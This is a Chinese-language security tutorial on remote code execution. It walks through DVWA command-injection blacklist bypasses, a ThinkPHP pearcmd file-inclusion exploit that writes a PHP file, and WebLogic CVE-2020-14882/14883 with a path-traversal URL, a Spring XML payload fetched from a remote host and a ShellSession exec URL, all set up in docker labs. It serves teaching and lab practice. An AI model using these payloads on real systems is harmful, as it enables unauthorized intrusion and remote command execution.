远程代码执行 RCE
👉 课件 PDF:SSRF&XXE&远程代码执行
简介
远程命令执行/远程代码执行(Remote Command/Code Execution, RCE),两者是有所区分的,远程命令执行比如 ping
,远程代码执行比如 eval
。
RCE 漏洞可以让攻击者向后台服务器远程注入命令或者代码,从而控制后台。
DVWA 演示
Low
在 Command Injection 模块中,可以输入地址进行 ping:
利用多条命令执行语法:
A && B
:先执行 A,如果成功,再执行 BA || B
:先执行 A,如果失败,再执行 BA | B
:管道符,先执行 A,将 A 的结果作为 B 的输入,打印 B 的结果A & B
:先执行 A,无论成功,继续执行 B
Medium
查看源代码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
发现仅限制了 &&
和 ;
,可以使用 |
绕开:
High
查看源代码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
发现对 |
限制不严格,其包含空格,可以使用不添加空格绕过:
ThinkPHP
Thinkphp 是一个免费开源的,快速、简单的面向对象的轻量级 PHP 开发框架,是为了敏捷 Web 应用开发和简化企业应用开发而诞生的。
2022 年 12 月,ThinkPHP 披露出在开启多语言功能的情况下存在文件包含漏洞,攻击者可以通过 get、header、cookie 等位置传入参数,实现目录穿越 + 文件包含,通过 pearcmd 文件包含这个 trick 即可实现 RCE。
默认情况下,系统只会加载默认语言包,如果需要多语言自动侦测及自动切换,需要在全局的中间件定义文件中添加中间件定义,因此只有启用多语言并且使用存在漏洞的版本时才存在漏洞。
🔑 漏洞利用条件:
- 多语言开启
- 安装 Pear 库
- 知道 pearcmd.PHP 路径
- register_argc_argv = on
💥 漏洞范围:
- 6.0.1 < ThinkPHP ≤ 6.0.13
- 5.1.0 < ThinkPHP ≤ 5.1.8
- 5.0.0 < ThinkPHP ≤ 5.0.12
环境搭建
安装 ThinkPHP:·
docker pull vulfocus/thinkphp:6.0.12
docker run -d -p 8080:80 --name=thinkphp vulfocus/thinkphp:6.0.12
访问 http://YOUR_IP_ADDRESS:PORT/public/
演示
传入 ?lang=../../../../../../../../usr/local/lib/php/pearcmd
,出现该错误说明漏洞存在:
传入 EXP(Exploit,利用系统漏洞进行攻击的程序):
?lang=../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=phpinfo()?>+/var/www/html/wukaipeng.php
写入成功,访问该文件:
Weblogic
Weblogic 未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)
- CVE-2020-14882:允许未授权的用户绕过管理控制台的权限验证访问后台
- CVE-2020-14883:允许后台任意用户通过 HTTP 协议执行任意命令
这两个漏洞的组合利用,可以让攻击者以未授权的身份登录后台,然后通过 GET 请求在 Weblogic 服务器上远程执行命令。
💥 漏洞范围:
- WebLogic 10.3.6.0.0
- WebLogic 12.1.3.0.0
- WebLogic 12.2.1.3.0
- WebLogic 12.2.1.4.0
- WebLogic 14.1.1.0.0
环境搭建
Vulhub 是一个漏洞测试靶场平台,利用 docker compose
可以一键启动漏洞测试靶场。
下载 Vulhub 到本地:git clone https://github.com/vulhub/vulhub.git
进入到我们的目标漏洞位置:cd vulhub/weblogic/CVE-2020-14882/
查看当前的 docker-compose.yml
:
version: '2'
services:
weblogic:
image: vulhub/weblogic:12.2.1.3-2018
ports:
- "7001:7001"
可以修改映射端口号
启动容器:docker compose up -d
访问 http://YOUR_IP_ADDRESS:PORT/console
:
停止容器:docker compose stop
删除容器:docker compose down
CVE-2020-14882
访问:
http://YOUR_IP_ADDRESS:PORT/console/css/%252e%252e%252fconsole.portal
http://YOUR_IP_ADDRESS:PORT/console/images/%252e%252e%252fconsole.portal
其中 %252e%252e%252f
是 ../.
进行两次 URL 编码,通过这个可以实现路径穿越,可未授权直接访问后台。
目前权限不足,要想实现 RCE 需要借助另外一个漏洞。
CVE-2020-14883
利用方式一 :
利用类 com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
反序列化漏洞上传文件,这是一个通杀的漏洞,所有版本都适用:
新建一个 rce.xml
文件
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/wukaipeng]]></value>
</list>
</constructor-arg>
</bean>
</beans>
然后利用 DVWA 上传,得到公网可访问链接 http://DVWA_IP_ADDERSS:PORT/hackable/uploads/rce.xml
访问:http://YOUR_IP_ADDRESS/console/images/%252e%252e%252fconsole.portal? _nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.su pport.FileSystemXmlApplicationContext("http://example.com/rce.xml")
其中 http://example.com/rce.xml
替换成刚才上传的地址:
去到容器中,可以看到我们的文件也上传成功了:
利用方式二:
利用类 com.tangosol.coherence.mvel2.sh.ShellSession
实现,Weblogic 12.2.1 以上适用
http://YOUR_IP_ADDRESS:PORT/console/images/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/wukaipeng2');")
修复
1️⃣ 非必要不开启 console
2️⃣ 升级最新版本